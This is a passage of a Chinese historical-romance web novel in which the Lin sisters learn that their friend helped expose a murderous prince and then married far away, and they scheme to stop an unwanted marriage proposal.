刚上齐菜护卫排队买的烤鸭也便送来了。 林诗芸的眼睛则是被酱肘子给吸引住了。 嗯…… 她要是申请自己啃一个酱肘子的话不知母亲会不会同意…… 天人交战了半晌,最终还是弃了自己抱个大肘子啃的念头,在外头呢,她还是低调一些。 但是,酱肘子还是要的。 林诗芸偷摸的跟春雨递了话,春雨差点没抑制住嘴角的笑,偷摸的出去了。 小姐说了,叫她打包两个酱肘子回去,晚上她们要给陈妈妈摆个接风宴呢。 春雨喜不自胜的拿着荷包去置办东西去了,林诗芸在这边吃的喷香。 姚玉英再次感叹林诗芸的饭量,连七岁的珠珠今日都多吃了半碗饭。 姚君远也是见识过了的,丝毫未惊讶,他一门心思的都在留意大表妹用了哪道菜,哪道菜夹了几次,表妹吃的也太少了些,对比之下林诗芸是真能吃啊,情儿妹妹才用了一碗饭,她倒好,已经三碗了,竟然还要吃。 姚君远的眼睛不由得落到了好友身上,只见宋晏也一直没放下筷子,好家伙,这人是何时这么能吃了,这也第三碗了吧? 不是,饭量也传染啊? 撑的不难受吗? 姚君远撇撇嘴,他就看一会儿这人怎么消食。 一顿饭吃下来众人都很满意。 除了被姐姐阻拦不准再吃第四碗的林诗芸。 林诗芸乖乖的放下了碗筷,擦了擦嘴角,冲姐姐扬起了一个大笑脸。 她是有些意犹未尽的,但是她还是听了姐姐的话,不吃就不吃吧,晚上她们偷摸的吃席,到时候她必是要自己啃一个大肘子的!这事儿谁也拦不住! 一顿饭吃下来,宋晏除了今日胃口出奇的好其余并无任何异样。 只是他还须进宫交差,不能久留。 走之前命人给将军府侯府国公府都送上了些路上买的特产,在姚氏身前刷了一波好感才依依不舍的离开。 重新上了马车的宋晏揉着肚子直叹气,看着手边给林诗芸买的礼物,想着改日还是托姚君远送至芸儿手中吧,也不知他何时能正大光明地送礼物给芸儿呢? 不若求皇伯父赐婚? 但是又想到暗卫传信父母又闹起来的事情,宋晏叹了口气,有些头痛,还是等等吧。 林诗芸吃着刚才宋晏卓人带来的点心,满意的点头,这个云片糕入口即化,米香浓郁,还有些核桃碎,不错不错,又甜又香,但又不是太甜,吃着刚刚好。 用膳时宋晏异样的眼神姚氏并未注意到,此时的她正同姚玉英正歪在榻上在喝茶聊天。 吃饱喝足了,不得休息休息再逛吗。 林诗情倒是瞧出了些端倪。 姚君远此时也退出去了,实在是不能久留了,两位姑母要休息,他不好一直赖着不走。 贵人们的雅间就有这样的好处,有床有塌,干净整洁,一波客人走之后都有专人收拾,可比后世要干净多了。 没办法啊,惹恼了权贵是会挨板子的。 林诗情瞧着小口吃着糕点的妹妹若有所思。 这端王世子看妹妹的眼神有些不对劲啊,她可是注意到了,宋晏面上虽说无甚表情,但是眼神却总是不经意的落到林诗芸身上的。 在观察妹妹的吃相? 不能,肯定不能,宋晏每次看妹妹时不经意勾起的唇角,可是不像是觉得妹妹吃香可爱的意思。 宋晏心悦芸儿? 林诗情被自己这个想法吓了一跳。 但是细细想想,她又觉得非常合理。 就芸儿这个天真烂漫招人爱的性子,谁能不喜欢? 而且妹妹貌美如花心地善良,任他宋晏天潢贵胄天人之姿,林诗情都觉得自己妹妹他绰绰有余。 而且如今芸儿才多大,待过两年长开了,那必是倾国倾城的美人儿,宋晏钟意芸儿只能说他眼光好,别的她倒没觉得什么。 只是,端王府那乱七八糟的后院,端王三天两头的纳妾,端王妃整日争风吃醋的事情都已经不算是传言,众人都是见识过的。 那端王妃,曾在一次宴会上当众给向端王示好的女子没了脸。 其实那女子那没做什么,只是初见端王风姿便多看了两眼,而巧合的事,没多久女子差点摔倒时,被恰好路过的端王扶了一把,女子自然是羞答答的朝端王致谢,端王也回了两句话。 而这事却被端王妃碰了个正着,端王妃大怒,认为女子是蓄意勾引,将女子贬的是一文不值,当场不仅叫端王没了脸,那女子也被她骂得哭着跑走了。 更过分的是她命人将此事散播了出去,败坏那女子的名声,不过几日,那女子便被逼的走投无路,投河自尽了…… 自那之后,端王便同端王妃离了心,端王妃的名声也越来越差,端王也不管不顾了起来,一点面子不再给端王妃,小妾是一个接一个的抬进王府,而端王妃,像是疯魔了一般,每日只知斗后院的小妾,连亲子都不闻不问。 也就是那时候,国公夫人将宋晏带回去养了几年,宋晏虽偶尔回王府,却是不常住的。 他同双亲的关系,自然也不太亲近。 想到这,林诗情心中坚定了自己的想法,世子不是良配,这事不行,她不同意。 第30章 即使吃着点心,林诗芸也一直处于心不在焉的状态。 她在考虑如何将近亲不能结婚这事跟姐姐解释清楚,但是转念一想,这事跟姐姐说清楚没用啊,得父亲母亲明白了才行。 于是,林诗芸是绞尽 了脑汁也没想出什么好主意来。 林诗情哄着珠珠午睡,同时也在观察妹妹,见林诗芸的眉头越来越深,想到自己心中担心的事情,林诗情觉得是有必要同妹妹讲清楚的。 好看的男子多了去了,咱们多见几个选选,万不能叫宋晏给勾了去。 雅间内母亲和姨母都在,也不是说话的地方,林诗情打算带着妹妹去买些胭脂水粉,顺便问几句,其余的待回府再说。 姐妹二人相携着去了胭脂铺子。 走在路上,林诗情小声询问林诗芸有没有觉得今日的宋晏有些奇怪,林诗芸摇摇头,皱着眉头忽然道了句,“姐姐,你不要同大表哥说话,他那个人不行。” 林诗情听了一头雾水的,回忆了半晌今日大表哥在的场景,和从前没什么不同啊,妹妹为何这样说呢? 眼看到了胭脂铺子,林诗情便没再继续问下去,想着这事还是回府再同妹妹讲比较好,估计妹妹是看不出宋晏对她的态度了,还是先叫她离宋晏远一些才行。 这是京中生意最好的胭脂铺子,名叫美人坊,据说东家是一女子,但是谁也没有见过,铺子的生意极好,一楼是胭脂水粉,二楼是客人根据自身喜好调制香膏香粉的场所,三楼是专供客人休息雅间。 不要觉得古代物资匮乏思想贫瘠,你能想到的护肤品这里全都有。 光是胭脂水粉都是五花八门的,什么颜色对应什么花朵,什么皮肤性质用哪种水粉,店家都会相应的解说,叫你不想掏钱都找不着理由。 林诗芸只觉的眼花缭乱,她对这些却一点兴趣都没有的。 林诗情也不在意妹妹的态度,只随便拿了几样便打算上楼调制香膏。 姐妹俩也没带丫鬟,径直上了二楼,准备自己调制一款专属的香膏来擦脸,林诗芸的皮肤极好,嫩的如蛋清一般,平日里也是不会用胭脂水粉的,只是擦一些润肤的香膏罢了。 姐妹俩都是店里的熟客,侍者将二人带至一处安静的角落摆上屏风便离开了,留下二人自己挑选喜欢的材料,自己则去唤香膏师过来。 香膏师正在用午膳,姐妹俩直说不着急,她们选完先留在这,改日着人来取便是。 或许因是午后,二楼并未有什么人,只姐妹二人安静的坐在一处,林诗芸简单的挑选了几种喜欢的香料便打起了炖,坐在角落里摇摇欲睡,林诗情看着妹妹睏盹的模样,扯了扯唇角,刚想开口叫妹妹回去再睡便听见了有人上楼的声音。 应不是一个人,来人脚步急促,还夹杂着些许争吵。 终于,应是上了楼,也站定了,兴许是以为楼上无人,争吵也明显肆无忌惮起来。 “二姐不要以为攀上了三皇子就是攀上高枝了,竟敢连我姨娘你都不放在眼里!我姨娘如今有孕,大夫人都得供着,你以为自己是什么东西!也敢和我姨娘争抢!洗脚婢生的贱婢而已!” 林诗芸被吵的彻底清醒,竟觉得这声音有些耳熟。 被骂了的人竟然一点也没有生气,只冷哼两声笑着道:“你管我是谁生的,至少我是记在嫡母名下的,不像有些人,呵,姨娘是贱妾,自己还上赶着给人作妾,你又能高贵到哪里去呢,你啊,且不如我呢!” 这声音!林诗芸睁大了眼睛一把攥住了姐姐的手,是谢静茹! 谢静茹看庶妹的眼神如同看蠢货一般,语调没什么起伏,不缓不慢一脸无所谓的模样,“不要以为你姨娘又得了父亲的宠你就可以无法无天了,我同三皇子如何都不是你能说三道四的,惹恼了我,我是可以秉明了父亲,将你嫁去千里之外的。” 谢静茹轻轻笑了两声,只是笑声里充满了警告,“你知道的,人已经来了,你不想嫁的话就赶紧滚蛋,别惹我哦!” 庶妹已经被谢静茹给气哭了,她你你,你了两声扔下句你敢便跑走了。 没那个本事还敢来惹她,没劲! 好半晌,谢静茹身边的丫鬟才小心问道:“小姐,您真的不愿嫁高公子吗?” 很长时间之后谢静茹才轻轻的嗯了一声,“不知道,听父亲的吧。” 她随便叫丫鬟包了几样香粉道,“走吧,过几日是姐姐的生辰,好不容易出来一次,别拉着脸,咱们去给姐姐挑个礼物,我记得你的生辰也快到了,你也选一个,我今日可是带足了银钱出来的” 主仆二人渐行渐远,林诗芸才终于从屏风后出来。 丫鬟的话是什么意思? 高公子是哪个? 林诗情更是一头雾水的,她知道妹妹同谢二姑娘的关系甚好,只是听这话,谢二姑娘的婚事怕是要定了? 难道是三皇子?可是,谢相怎么会同皇子产生纠葛?从前太子想求娶谢大姑娘都是被谢相给拒了的,如今,这又是怎么一回事呢。 林诗芸紧皱着眉头,她刚才该出去向谢静茹问清楚的,如今倒是不明不白的,叫她更加担心了。 只是,她该怎么帮她呢? 她近些日子差人给谢静茹递的信都被退了回来,谢静茹只叫人回了一句话,叫她安心,别来掺合… 林诗芸转过头紧紧抓住林诗情的手道:“姐姐,我可以去找谢静茹说几句话吗?我实在担心她。” 林诗情点点头,叫她早去早回,她在这里等她。 一个时辰后,定安侯府林诗情院里。 震惊的林诗情:“你是说你上次碰到了谢静茹同三皇子偷情?还偶遇了宋晏!宋晏告诉你三皇子房中甚乱不是好人,谢静茹是在保护谢静姝?” 震惊过后的林诗情眉心紧皱,这,三皇子什么目的暂且不论,就是,就是谢静茹也太大胆了些,这种事情应该叫长辈们操心,她一个小女子,万一被人发现或者被三皇子始乱终弃,她还要不要活了! 林诗情叹了口气,继续问道:“你去找谢静茹,可找到了?” 林诗芸点点头,想着谢静茹说的话,眉心终于舒展了几分,“找到了,但也只说了几句,我问她要做什么?她知上次便被我碰到了,索性也未瞒着我,只说叫我放心,千万不能叫侯府再掺合进去,谢静茹说这事情就快要有个结果了,她和姐姐都不会嫁给三皇子。只是,只是我还是有些担心的。” 听林诗芸这么说,林诗情稍稍放了心,她思趁半晌道:“她既然都这么说你便且放下心,这事情不像你看着的这么简单,在皇子一事上,咱家和谢相一样,从不站队,谢相一向严谨,连从前太子求娶谢静姝都被谢相拒了,” 林诗情考虑的要比林诗芸多,她有些迟疑,但还是道:“若事情真像你说的这般,恐怕谢静茹做的事情谢相是知道的,” 林诗芸有些目瞪口呆,这,亲爹知道还不予制止? 林诗情看到妹妹的傻样笑着揉了揉妹妹的头继续道:“若三皇子真有拉拢臣子之心,谢相必是会做些什么,而谢静茹亲近三皇子怕只是叫三皇子放松警惕的幌子,你且安心等几日,谢静茹不是说过几日便有结果了?” 林诗芸点头,她有些明白,但也有些不明白,索性便不想了,轻舒口气抱着林诗情的胳膊道:“姐姐,若是我,我应也会像谢静茹这样做的,” 说完又撅了噘嘴,“我倒不会像谢静茹这般,我会找机会给那人下毒,弄死他,什么皇子公主的,我,” 话还没说完这个嘴便被林诗情给捂住了,林诗情嗔怒视道:“再敢胡说,那是天家!” 林诗芸撇撇嘴还有些不服气,林诗情伸出食指点了点她的脑门继续训斥:“以后可管好你这张嘴,再敢不管不顾的什么都说!你看我不打你!” 林诗芸哼哼两声讨好道:“我这不是在家里同你说说吗,我又没在外头说,好啦好啦,姐姐不要生气了,我以后都不敢了还不行嘛。” 林诗芸知道这封建社会,皇权至上,自己不服气也不行的,于是再三保证再也不胡扯了,这才免于被姐姐打手板。 果不其然,几日后三皇子因结 党营私大逆不道被废黜,贬为庶人,永守皇陵,永生不得入京。 林诗芸知晓时正被姐姐拘着作画,林诗瑶兴奋的闯了进来,迫不及待同姐妹们畅聊此事。 林诗瑶表情跟自己亲眼见着似的,“你们不知道,据说在三皇子府后院挖出了好些女子的尸骨,花丛和几棵大槐树下都有,我可是听说槐树是招鬼的!他竟然埋在树下!也不知是要做些什么!那后院阴森森的,据说下人平日里都不敢去进!只听说那里花开的盛,一簇簇妖艳怪异,像是喝了血一样鲜红,” 说完又叹了口气,“可惜了那些女子,也不知是谁家的女儿” “仵作验过,说好多都是十三四岁的姑娘,在场的所有人都气的直骂三皇子,不,沐成那个王八羔子太不是东西了!” “还有啊,不仅如此,他竟然还企图谋害太子取而代之,幸亏太子警觉,虽中了些毒,但并未中毒太深,他还贿赂朝中几位大臣,给谢相送了万两黄金,此事确实多亏了谢相,收集了证据之后才去找陛下,陛下已经将牵扯其中的臣子全都下了大牢了,三皇子府一个不剩,连苍蝇都得被查一遍。” 林诗芸紧紧抓着姐姐的手,担心的眼泪都快掉出来了,谢静茹这个臭丫头,这么危险的事情!她就自己去干的吗! 不行,她要去找她! 可惜的是,林诗芸找上门的时候已经晚了 她求着姐姐同母亲说情,好不容易出了门往相府而去,见到的却只有谢家大姑娘谢静姝。 谢静姝眼圈通红,颤声道:“茹儿嫁去了边城,今早走的,她知道你会来,这是她留给你的东西。” 谢静姝递给林诗芸一个匣子,叫她回府之后再打开。 林诗芸头懵懵的,后边的话一个字都没有听清,她甚至不知道自己是怎么出的相府。 她穿来的这些年,除了三个姐姐,同她交心的也只谢静茹一人了 她前些日子给谢静茹递了几次信都没有消息,上次在外头遇到她也只说了几句叫自己安心的话。 她第一次找上门来,她便匆忙出嫁了 30-40 第31章 看着谢静茹留下的书信,林诗芸又湿了眼眶。 谢静茹说她是心甘情愿嫁到边城的,新郎官虽是商人,但待她极好,长相英俊,有勇有谋,是个极好的人,叫林诗芸不必担心,相逢会有时,她们总会有相见的时候。 总之,就是告诉林诗芸她很好,嫁的人也很好。 林诗芸擦净了眼泪,又去守在了爹爹归家的道路上。 她猜想爹爹应该能为她解答一些疑惑,她想知道谢静茹嫁的人是否靠谱,若是爹爹不知,那她只能拜托爹爹去查了。 渣爹回来的时候天一如既往地已经黑了。 月黑风高,但是林怀诚还是一眼便看到了又在路上守株待兔的小女儿。 他真像只兔子啊。 叹了口气,他知道今日是又逃不过了的。 一早便听说谢相将二女嫁给了个商户,还嫁到了很远,他有心劝慰谢相两句,谢相却冷不丁问他大女儿可有婚配,大哥倒是跟他提过两家联姻一事,但是谢相嫡次子 那小子不是最叫谢相头疼的那个?他可是不止一次见到谢相被这小子气的吹胡子瞪眼的,罢了罢了,先安慰好小女儿吧,联姻可以等等。 月光下的林诗芸揪着爹爹的衣摆,脸上满是委屈,身上还带着春日夜晚的寒气,虽说林诗芸穿着披风的,但她已经等了半个时辰,手脚早就冰凉了。 “爹爹,您怎么才回来啊,芸儿等您好久了。” 林怀诚意见女儿这可怜巴巴的模样可是心疼坏了,鼻尖通红,一看便知是哭了挺长时间,忙哄道:“是爹爹不对,是爹爹不对,爹爹不该这么晚回来的,芸儿冻坏了吧,外头冷,怎么又在外头等着?” 言罢搓了搓小女儿的手,实在是凉的很,转头便要对着下人发火,林诗芸忙护着丫鬟们道:“您可不能怪她们啊,是我非要在这等您的,姐姐都来了两回了,我都没回去的,” 林怀诚无奈地看着死心眼的小女儿,板着脸训斥道:“怎么就这么犟呢,你差个下人在这等着爹爹便是,非得你自己来?” 林诗芸也不害怕,哦了两声,无精打采地说了句知道了。 林诗情早已经迎了上来,瞪了林诗芸两眼才对爹爹道:“爹爹,您这么训斥是不管用的,我看还得打上一顿才能老实。” 林诗芸嘟了嘟嘴躲到了渣爹身后,完了,姐姐不会真得打她吧。 林父忙做和事佬,摆摆手道:“不至于不至于,你妹妹这不也是有急事找爹爹吗,情儿别生气,” 又将身后的小女儿给拉了出来,“快,给姐姐道歉,你姐姐净来找你了,” 林诗芸朝林诗情讨好的笑笑,扯着姐姐的衣摆摇晃着道:“对不起嘛姐姐,你知道的,我就是想问问爹爹一些谢静茹的事情,不然我心里不安稳。” 林诗情板着脸白了林诗芸一眼,嗯了一声,“现在爹爹回来了,走吧,回去再问。” 林诗芸哦了一声,乖巧的走在姐姐身后。 抬头看了姐姐两眼又缩了回来脖子,她挺急的,真得不能现在问吗? 林怀诚咳嗽两声忍住了笑意,这才转身背着手走了。 姐妹俩陪着父母用晚膳,只是林诗芸胃口不佳,只简单吃了一些填了肚子,便缠着爹爹将他知道的讲一讲。 姚氏虽说无奈,但也是想听听的,外头的消息她也听了一些,谢二姑娘以身犯险历经多日才找到的三皇子杀人抛尸的证据,怕是经历了不少不为人知的危险。 芸儿这孩子重情义,友人也不多,能叫她放在心上的都是她极为在乎的人。她待字闺中时也有好友嫁到外地,这一别就是许多年未相见,所以她很理解芸儿心情,今日索性便由着小女儿的性子闹了。 食不言寝不语,一顿饭吃的林诗芸心不在焉,饭后渣爹终于为她解惑。 “那个商户啊,我知道,据说是从小便同谢二姑娘定了娃娃亲,姓高,人很不错,人高马大的,还是边城首富,生意做的极大,在生活上必然不会亏待谢二姑娘,而且我听说谢二姑娘本是要出家的,是这个商户拼了命的拦了下来,并向谢相言明非她不娶,只要谢相同意他会一心一意待她好,还发了重誓不会纳妾,谢相这才松口,所以啊,新郎官是个不错的,芸儿不必担心。” “想送东西?怎么不行,你今晚且准备好,明日我差人快马加鞭的给送去,商队行的慢,估计一日也就送到了。” “好了好了,你要知道谢二姑娘不光是谢相亲女,也是三皇子一案的大功臣,陛下和太子必不会亏待与她,芸儿这回可放心了?” “爹爹还能骗你不成,晚上叫小厨房做些夜宵,我怎么瞧着乖女这几日瘦了?” 林诗芸终于安下了心,心满意足地抱着姐姐的胳膊离了双亲的院子。 静谧的夜,月华高悬,月光如水照在二人身上,轻轻柔柔的,墙角的梨花落了满地,偶有一阵春风吹过,花瓣翩翩起舞,被吹往不知何处。 林诗情听着林诗芸嘴里嘟嘟囔囔回去要再吃些什么的话,无奈道:“夜里可不敢多吃了,少吃些,吃多了再闹肚子。” 林诗芸笑着点头,她不多吃,就只吃一碗面,大汤碗嘿嘿,午膳就没吃饱,心事解决了,她不得将肚子填饱啊。 陈妈妈晚间倒是过来了一趟,没见着姑娘,只敲打了院里丫鬟几句便回了姨娘院子,陈妈妈每日一早一晚的都会从姨娘院子过来一趟,十分辛苦,林诗芸想着明日一早她早起一会,赶在妈妈来之前去姨娘院里,还得劝劝妈妈,她都如此大了,且叫妈妈安心,不必来回奔波。 她这一晚上还挺忙活,填饱了肚子就开始翻看自己值钱的首饰,最终决定送谢静茹一套红宝石头面并二百两 的银票作为添妆。 毕竟山高水远的,钱财更实用一些,虽说新郎官有钱,但是谁有也不如自己有啊,她给的钱虽不多,但已是她全部家当,开完铺子她仅剩了二百两银票和一些碎银。 林诗芸叹了口气,还是得从爹爹身上再搞些银钱才是啊,这不,一下便没了。 也不知爹爹是怎么了,从前荷包里也会有些银票的,怎得上次就只是些碎银了? 不行,她还得搞个突然袭击,她才不信爹爹身上能没钱呢,听大姐姐说,大伯每次出门荷包里都得有个百八十两的银票,爹爹肯定也不会少了。 伴着这样的心思渐渐进入梦乡,第二日又变成了那个活蹦乱跳一顿三碗饭的林四姑娘。 因为心里有事,她难得没有赖床。 先去了主院将她准备地东西送给爹爹,又同母亲说了一声便去了姨娘院里,这一早晨给她忙的,在姨娘院里一口气喝了三碗粥才停下。 叶姨娘气色已经好了很多,只是正是孕吐的时候,除了早饭能用些清淡的,午膳晚膳还是会吃了就忍不住吐出来。 林诗芸询问了府医能止孕吐的东西,但是姨娘用了还是效果甚微。 姚氏是过来人,每日都叫厨房准备一些汤汤水水的送来,叶姨娘能喝的下去,虽还是会吐,但是气色已经好了很多了,只是精神还是不大好,很容易犯困,府医说是正常的,林诗芸也便放下了心。 早膳用完又缠着陈妈妈半晌,在得到陈妈妈不再一天两趟的往自己院里跑的时候她这才放下了心。 这心情刚一好,想再出门的心就又要按捺不住了。 她借着捡花瓣的借口站在围墙内唉声叹气,她已经几年未能翻墙出去了。 几年前也不知是哪个杀千刀的给侯爷大伯提的建议,说是为了侯府的安全考虑应该加固加高院墙,她能轻易翻出的那堵墙,现在已经又高又厚!墙底别说一块转头了,一块石子都很难找到! 她可是郁闷了很长一段时间。 林诗芸抿着嘴思考了半晌,还得寻个借口出去玩玩吃吃。 西街的臊子面和大馄饨,东市的酥饼坛子肉,醉仙楼的四喜丸子烧羊排,春暖阁的茶点李记的桂花糕她好久都没吃过了,都叫她念念不忘。 唉声叹气了半晌,出不去咋办啊,昨日她倒是出去了,就是没那个逛街的心思,今日有了,又没了出门的理由,郁闷了一会儿,最终只能老老实实的采花去了。 桃花梨花开得正艳,为了雅致,也为了增添些秋日采摘的乐趣,府上各处也是种了不少,她带着丫鬟挑挑拣拣了一些,这才准备回院子准备酿酒。 才刚转身,便见大姐姐带着一群丫鬟过来了。 离的很远林诗芸都能看出大姐姐今日的心情极好,那小脸上灿烂的笑容,怕是在嘴角挂个秤砣都压不住。 林诗芸撇了撇嘴,看着春风得意的大姐姐好奇道:“大姐姐,你可是捡到金子了?怎得这般高兴?” 林诗瑶白了林诗芸一眼,抿了抿唇角,挥了挥手叫丫鬟们退后,同林诗芸悄声道:“那个小校尉说有意中人,拒了爹爹,爹爹快气疯了,直骂那人不知好歹。” 说完便捂着嘴,笑的花枝乱颤的。 林诗芸一张脸上表情是一言难尽,就这?人家没看中你,你笑个啥?很光荣吗我的大姐姐。 林诗瑶才不管林诗芸什么表情呢,“我就说嘛,你出马,必能搞定,好了好了,这下我终于可以放心了。” 林诗芸无语道:“大姐姐,有没有人家确实是有心上人的呀,跟我没啥关系,我那真是偶遇。” 她必是不能告诉大姐姐前些日子又碰到那人一事的。 林诗瑶才不管那些呢,小手一摆道,“不论如何你都是大功臣,明日我做东,请你到醉仙楼用午膳如何,我可好久没出去了,前些日你们跟着婶娘出门也不带我,我都馋死了,母亲已经同意了,走走,咱们去找你二姐三姐,” 林诗芸一听能出去!那还了得! 还是大姐姐懂她! 忙不迭点头,“好好,大姐姐最好了,我都好久没去醉仙楼了,我想吃烧羊排,还有四喜丸子。” 林诗瑶得意的挑挑眉,“母亲还叫咱们去看看京中可出了什么新款的成衣,眼看要热起来了,咱们不得好好选选,走,你二姐她们呢?咱们商量商量去哪家戏园听戏啊,” “二姐姐同三姐姐一起做画呢,我可坐不住,就跑来摘花了,” “听戏?好啊,去三姐姐想去的那家吧,三姐姐去了一次一直念念不忘来着……” 姐俩边往林诗情院里走边聊天,只见林景晟小跑着过来了,林景晟跑的气喘吁吁的,似乎是有重要的事,边跑边唤,“大姐姐四妹妹!等等我!” 二人寻声望去,林景晟已经跑了一头的汗水了,林诗芸忙将帕子递过去问道出了何事。 林景晟摆摆手表示不用帕子,扬起胳膊用袖子擦了擦汗,气还没喘匀呢便道:“我刚才看见有媒婆来给二姐姐提亲!” 话还没说完便被林诗瑶给踢了一脚! 林诗瑶怒道:“瞎嚷嚷什么!大惊小怪的!像什么样子!” 林景晟着急道:“你们不知道,是,那个那个,” 姐妹俩对视一眼,林诗芸忙去扯三哥的袖子,“三哥哥!回去说!” 林景晟这才意识到花园并不是说话的地方,林诗瑶非常嫌弃的看了眼自己又脏又臭一点眼力见没有的弟弟道:“我们正好去你二姐院里,你一起去,到那再说,你在这瞎嚷嚷个屁!” 第32章 林诗情看着大表哥送来的礼物发呆。 两个匣子是分别给她和妹妹的。 她打开看了看,都是些女子喜爱的小玩意,但她瞧着,好似有不少不是京中的东西。 这不像是大表哥选的。 是了,大表哥同端王世子一向交好。 林诗情面无表情的拨弄了两下,想着是不是该给退回去。 林诗意净完手也凑了过来,咦了一声道:“何人送来的?怎么还有些南方款式的头花,还挺好看的。” 林诗情点点头,只道:“我大表哥差人送来的,三妹妹挑挑,有喜欢的便拿去。” 林诗情倒也不是不愿意给林诗意说她的猜想,只是事情尚无定论,万一是她想多了呢。 这时林诗瑶和林诗芸同林景晟三人正好踏门而入,二人一看三弟也来了,只当是今日休沐,林景晟又来找林诗芸玩闹去的。 林诗瑶却摆摆手叫下人都下去,也不言语,只皱着眉头看着林景晟。 林景晟这回倒是反应的很快,主要是怕再挨揍,忙道:“刚才我见着京中最有名的媒婆上了门,便偷偷的去听了一耳朵,是,是谢相府上差过来的,说是给二姐姐说亲,我来的路上瞧着二婶娘已经过去了,” 姐妹几个倒没感到惊讶,毕竟林诗情确实到了相看的年纪了,只是,谢相府上?给谁提亲啊? 林诗芸站定后一眼便看到了桌子上的匣子,伸手打开,看着一盒子的小玩意皱了眉头。 林诗情见缝插针道大表哥送来的。 林诗芸拨弄东西的手一顿,撇撇嘴,狗东西,又往她姐姐身边凑!不甚在意的将匣子往桌子上一扔,哼,她才不要对姐姐图谋不轨之人的东西! 无人注意到林诗芸的小动作,姐妹几个都被林景晟的话给吸引了去。 林景晟停顿了半晌组织语言,“说是给谢相府上那个不学无术的二公子说媒,那个谢子阳!我听说他前些日子一直宿在外头的花船上,是被他兄长给揪回去的,” 看着众人惊讶的表情,林景晟继续道:“听说这人惯是会招猫逗狗花天酒地,我倒是也见过此人,长得人模狗样,但是平日里吊儿郎当不学无术,一脸被酒色掏空的模样,不是个好人 。” 林景晟摇摇头,对这种人他是十分看不上的,虽然他也纨绔,但也没有哪个年纪轻轻就整日宿在花楼的! 他皱着眉头看着林诗情,语气严肃:“二姐还是赶紧想办法,这人不行,不能嫁!” 林诗瑶又踢了三弟一脚,“这事用你说?咱们不得从长计议?” 林景晟揉了揉屁股,默默的挪了挪步子,离大姐远了一些。 三姐妹俱是一脸关切的看着一直默不作声的林诗情。 可林诗情只是淡淡的笑了笑,开口道:“同相府怕是联姻,总是要有人嫁的。” 不是她,就是别的姐妹。 她听母亲提过谢相夫人邀母亲赏花一事,当时心中便有了猜想,怕是谢相夫人看中了她,想要她做儿媳。 这事她怎么想都没用,她们说了又不算的。 林诗芸默默的牵住了姐姐的手,“姐姐,若那人真是三哥哥说的那种人,定是不能嫁的,三哥哥都知道那人是个纨绔,父亲母亲知道的就更多了,尤其是父亲,谢静茹的事情父亲都了如指掌,别说谢家二子那么不是个东西的,父亲定不会叫你嫁过去的,你且安心。” 林诗瑶却叹了口气,坐下来看着窗外的天空道:“若真是两家联姻,怕是咱们姐妹四个,总有一个要嫁。” 天真蓝啊,若她们生成了鸟儿就好了,想飞到哪里就飞到哪里 林诗意亦是若有所思的点点头。 世家女子,有多少人是能自己作选择的呢。 林诗芸皱着眉头在想如何破局,就听林景晟拍了拍脑门,跳起来道:“哼,那么个混账东西,他可是花楼的常客,估计相好的多着呢,咱们花钱找其中一个叫她去闹上门不就行了,咱家也要脸不是,就是我爹他们再想联姻,也得顾忌自己的名声吧?这事肯定就成不了了!” 林诗芸抱着姐姐的胳膊不住的点头,她觉得这个方法可以! 林诗情无奈的看着两人,这馊主意,还真是符合二人这跳脱的性子。 林诗瑶皱着眉头想了半晌,竟然也道:“这不失为一个办法,只是,这事要是叫查出来,咱们几个吃不了肯定兜着走,还得” “我去找大哥!大哥肯定可以做的神不知鬼不觉!” 说完林诗瑶便要起身去找林景行,却被林诗意给拦了下来,“等一下等一下,大姐姐,你先别冲动啊,现在媒婆只是上门,还得看二叔二婶的态度才是啊。” “你先别冲动,咱们且先等一等。” 林诗瑶一想也是,转身的时候却又踢了三弟一脚道:“快去,继续去打听去,有任何消息再来通知我们。” 林景晟被大姐踢的是一点脾气都没有了,忙又喝了口水才飞一般的跑走了,这事他必须上心,他累的毫无怨言,二姐姐这般好,可不能嫁给个臭名昭著的死纨绔! 四姐妹大眼瞪小眼,林诗瑶张着嘴欲言又止的,她不知怎么分享自己心头的大事了,本应该高高兴兴的准备准备明日出门逛街的,突然来了个说媒的,平白扰了大家的心情。 林诗瑶突然灵光一闪! 对啊!那人好色?! 这不巧了吗! 四妹妹国色天香,放眼全京城再没有更美的色了不是! 一个四妹妹都能解决,那再来一个不过分吧?不多吧? 只要四妹妹不说自己真实姓名,随便编个身份来勾的那狗东西叫他非她不娶,那这事就成了! 谢相夫妻还能将亲儿子给打死不成? 可以,绝对可以! 只是她还未张嘴呢,便听丫鬟通报,姚氏有请 林诗芸焦急的跟在姐姐身后想一起去,却被林诗情给拦了下来,“你同姐妹们说话,无事,我一会就回来了。” 于是,林诗芸眼看着二姐姐跟着姚氏身边的大丫鬟走了。 虽说肯定是出不了什么问题吧,但是三人还是担心的,都知道是火坑,但是那,万一,咱就是说万一母亲真的想叫大姐嫁过去呢? 林诗瑶却是直接将林诗芸拉了过来直接道:“既然那纨绔是个好色的,那咱们就故技重施!叫他迷恋上你,这婚事自然不成!” 林诗意的眉头皱了皱,又看了林诗芸一张愈发好看的小脸几眼,迟疑道:“这个不失为一个办法,但是,但是谢相二子万一认出了四妹妹怎么办?到时候闹上门非要娶四妹妹,四妹妹就又跳进火坑了啊!” 林诗芸咬着唇,这么说的话,这事也不是不行,一个是勾引两个也是勾引,为了二姐姐,她是能豁得出去的! 但若是真的认出她的身份,她嫁还是不嫁呢?反正是不能叫姐姐嫁过去的,不行,绝对不行! 林诗瑶点点头,思趁半晌问林诗芸道:“你昨日去相府,可有遇到相府男丁?” 林诗芸想了半晌,摇摇头,她真没注意,她是女眷,上门找的是谢静茹,同她说话的是谢静姝,路上碰没碰到什么人她实在不记得了。 林诗瑶想了想,唤了春雨进来问了问,春雨如实道:“昨日二姑娘陪着我们姑娘一起去的,二姑娘陪谢夫人说了几句话,四姑娘和谢大姑娘说了几句话我们便离开了,路上并未遇见什么男子。” 林诗瑶点点头,猜想这事情应是谢相和夫人一厢情愿之事,她摆摆手叫春雨出去才道:“应是谢夫人看中了二妹妹,她需要一个端庄稳重,且能制得住儿子的女子做儿媳,刚好二妹妹符合她选儿媳妇的标准,估计那纨绔尚不知亲娘遣了媒婆上门的事情。” 她看了一眼林诗芸继续道:“即使二叔二婶也愿意将二妹妹嫁过去,亲事也不会很快定下,只要这段时日四妹妹你能将纨绔拿下,且他能非你不娶,这婚事定成不了,当然,你不能用真实身份,咱们还得编个身份出来。” 